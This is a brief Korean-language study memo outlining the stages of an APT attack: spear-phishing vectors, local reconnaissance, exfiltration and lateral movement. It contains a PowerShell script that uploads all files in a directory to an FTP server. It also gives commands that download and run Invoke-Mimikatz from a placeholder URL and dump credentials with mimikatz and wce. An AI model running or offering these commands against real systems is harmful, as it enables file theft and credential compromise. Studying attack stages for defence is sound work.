APT 공격진척도

침입

스피어피싱

* 한글문서: 매크로(Macro = Visual Basic Script, Java Script, Powershell, Post Script), 첨부기능, DDE 그 외 여러개(보완 필요)

* Word:  매크로(Macro = Visual Basic Script)

* PDF: 파일첨부기능, Zero-day, One-day

...

 

PC 내 탐색

- 네트워크

- PC 내 파일 및 시스템정보

 

유출

- #업로드 경로(전송할 파일 위치)

$Dir="D:/www/attend/"

  

#ftp정보

$ftp = "ftp://ftp주소/"

$user = "ftp아이디"

$pass = "ftp패스워드"

  

$webclient = New-Object System.Net.WebClient

$webclient.Credentials = New-Object System.Net.NetworkCredential($user,$pass)

  

foreach($item in (dir $Dir "*.*")){

 "Uploading $item..."

 $uri = New-Object System.Uri($ftp+$item.Name)

 $webclient.UploadFile($uri, $item.FullName)

}

 

래터럴무브먼트 수행단계

크리덴셜 탈취

- wce(Window Credentials Editor) [ Pass the hash attack ]

* Download

->

* Execute

-> wce -l

 

- mimikatz [ Pass the pass attack ]

* Download

-> IEX (New-Object Net.WebClient).DownloadString('url'); Invoke-Mimikatz -DumpCreds

* Execute

-> sekurlsa::logonpasswords